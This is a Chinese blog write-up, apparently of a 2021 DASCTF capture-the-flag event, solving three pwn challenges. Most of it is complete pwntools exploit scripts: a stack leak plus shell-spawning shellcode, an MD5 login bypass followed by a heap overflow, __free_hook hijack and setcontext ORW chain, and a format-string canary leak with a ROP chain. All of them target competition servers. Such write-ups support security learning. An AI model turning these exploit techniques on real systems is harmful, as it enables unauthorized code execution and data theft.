DASCTF-Sept-X-浙江工业大学秋季挑战赛wp

感谢雪宝带飞,花了一天时间终于ak了pwn

hehepwn

签到题罢了

strdup函数源码如下:

可以看到strdup复制数据的时候会调用strlen函数,那么read是不会在字符串后面补00字节的,所以会泄露出栈地址

然后因为没有开NX保护,所以可执行shellcode,shellcode一把梭就完了

from pwn import *
import sys

arch = 64
challenge = "./bypwn"
libc_path_local = ""
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
# io = gdb.debug(challenge, 'b 0x40082d')
else:
io = remote("node4.buuoj.cn", 25120)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./bypwn}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)


def exp():
ru('well you input:')
sd('a' * 0x20)
rbp = uu64(ru('\x7f')[-6:])
echo('rbp address:' + hex(rbp))
# gdba()
# sla('EASY PWN PWN PWN~', 'a')
ru('~')
shellcode_address = rbp - 0x50
shellcode = asm(shellcraft.sh())
echo('shellcode len:' + hex(len(shellcode)))
payload = shellcode
payload = payload.ljust(0x58, 'a')
payload += p64(shellcode_address)
echo(hex(len(payload)))
sl(payload)
pass

exp()
ia()

datasystem

打开之后,我:???

登录系统看了一下午,angr跑路径,ida静动调,gdb动调

后来用win打开,findcrypto一把梭,findcrypto,彳亍!

找到bignumber和下面的常数,点进去,👴🏻傻了,捏🐴,这不就是md5

自己验证了一波,确实是md5

这块就是密🐴了,那不就简单了,👴🏻很开心,👴🏻去了cmd5

呃呃,👴🏻很生气

好吧,写个脚本跑密码无果后,发现自己想歪了,md5靠啥比对的,strcpy啊,00截断啊,瞬间如梦初醒,直接写个函数爆破第一位是00字符的脚本,然后后面就是常规的菜单题了,add的时候可以溢出,开了沙箱,劫持__free_hook为setcontext + 53的地方来控制寄存器,简单题不赘述了

对,还有几个小小的点记录一下:

  1. ida7.5对登录的逻辑反编译的结果更为清晰:

(当时用ida7.0调了好久才发现是和admin作对比,ida7.5直接出了)

  1. 填密码的时候后面要用00填充到0x20,要不然过不了验证

  2. 学好逆向对pwn手真的很重要(留下了不会逆向的泪水

from pwn import *
from hashlib import md5
from string import ascii_letters, digits
from itertools import permutations
import sys

arch = 64
challenge = "./datasystem"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = "./libc-2.27.so"

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge,'b *$rebase(0x2ab1)')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 26719)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./datasystem}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

_add,_free,_edit,_show = 1,2,4,3

menu = ">> :"

def add(size, content):
sla(menu, str(_add))
sla("Size:", str(size))
sa("Content:", content)

def edit(idx, content):
sla(menu, str(_edit))
sla("Index:", str(idx))
sa("Content:", content)

def free(idx):
sla(menu, str(_free))
sla("Index:", str(idx))

def show(idx):
sla(menu, str(_show))
sla("Index:", str(idx))


def hack_password():
all_letters = ascii_letters + digits + '.,;'
for i in range(1, 21):
for item in permutations(all_letters, i):
item = ''.join(item)
if md5(item.encode()).hexdigest()[0:2] == '00':
return item.ljust(0x20, '\x00')

def exp():
sa('please input username:', 'admin')
sa('please input password:', hack_password())
# 0ea1fb4edf4aae8fb2ee19fb1cfbe362

add(0x10, 'a' * 0x10) # 0
add(0x430, 'ub') # 1
add(0x10, 'a') # 2
free(1)

free(0)
add(0x10, 0x20 * 'a') # 0
show(0)

leak = uu64(ru('\x7f')[-6:]) - 96 - 0x10 - libc.sym['__malloc_hook']
echo('LIBC BASE:' + hex(leak))
__free_hook = leak + libc.sym['__free_hook']
system = leak + libc.sym['system']

free(0)
add(0x10, 0x10 * 'a' + p64(0) + p64(0x441)) # 0

add(0x40, 'a') # 1
add(0x40, 'a') # 3
add(0x40, 'a') # 4

free(4)
free(3)

free(1)
add(0x40, 0x40 * 'a' + p64(0) + p64(0x51) + p64(__free_hook)) # 1

libc_base = leak
setcontext_door = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
syscall = libc_base + libc.search(asm("syscall\nret")).next()
echo('SYSCALL:' + hex(syscall))

#=========================setcontext===========================

fake_rsp = free_hook & 0xfffffffffffff000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_rsp
frame.rdx = 0x2000
frame.rsp = fake_rsp
frame.rip = syscall
echo(hex(len(str(frame))))

add(0x40, 'a') # 3
add(0x40, p64(setcontext_door)) # 4

add(len(str(frame)), str(frame)) # 5
free(5)

layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')

sd(flat(layout) + shellcode)

gdba()
pass

exp()
ia()

hahapwn

也是简单题,printf泄露canary,rbp寄存器和libc地址,然后就是一个大规模栈溢出不过开了沙箱

不知道为什么,wirte和read函数执行不了,但是溢出的字节数量很多并且能用libc的gadget,所以可以直接用syscall来控制程序的执行流,注意,ROPgadget是找不到syscall; ret;这个gadget的,这个gadget得用ropper来找

from pwn import *
import sys

arch = 64
challenge = "./pwn"
libc_path_local = "/glibc/x64/2.23/lib/libc-2.23.so"
libc_path_remote = "./newlib"

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge, 'b *0x4007B6')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 26888)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwn}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)


def exp():
ru('Welcome! What is your name?')
sd('%27$paaaa%28$pbbbb%39$pcccc')
ru('0x')
canary = int(io.recvuntil('aaaa', drop=True), 16)
echo('CANARY:' + hex(canary))
ru('0x')
rbp = int(io.recvuntil('bbbb', drop=True), 16) - 0x50
echo('RBP:' + hex(rbp))
ru('0x')
leak = int(io.recvuntil('cccc', drop=True), 16) - 240 - libc.sym['__libc_start_main']
echo('LIBC BASE:' + hex(leak))

libc_base = leak
open = libc_base + libc.sym['open']
read = libc_base + 0x0F7336
echo('read:' + hex(libc.sym['read']))
write = libc_base + 0xF738D
puts = libc_base + libc.sym['puts']

pop_rdi_ret = libc_base + 0x0000000000021112
pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rax_ret = libc_base + 0x000000000003a738
pop_rdx_rsi_ret = libc_base + 0x115189
pop_rdx_r10_ret = libc_base + 0x115164
ret = 0x115167
syscall_ret = libc_base + 0x00000000000bc3f5

flag_address = rbp - 0x70
buf = libc_base + 0x3C6620 # libc bss
ptr = 0x400740
stake = libc_base + 0x20920

rop = p64(pop_rax_ret) + p64(2)
rop += p64(pop_rdi_ret) + p64(flag_address) + p64(pop_rsi_ret) + p64(0) + p64(syscall_ret)
rop += p64(pop_rax_ret) + p64(0)
rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(0x30) + p64(syscall_ret)
rop += p64(pop_rax_ret) + p64(1)
rop += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(0x30) + p64(syscall_ret)

filename = 'flag'
padding = 0x68 - len(filename)

payload = filename
payload += '\x00' * padding
payload += p64(canary)
payload += p64(rbp) + rop
echo(hex(len(payload)))
sa('?', payload)

pass

exp()
ia()
文章作者: Alex
文章链接: http://example.com/2021/09/25/DASCTF-Sept-X-浙江工业大学秋季挑战赛/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~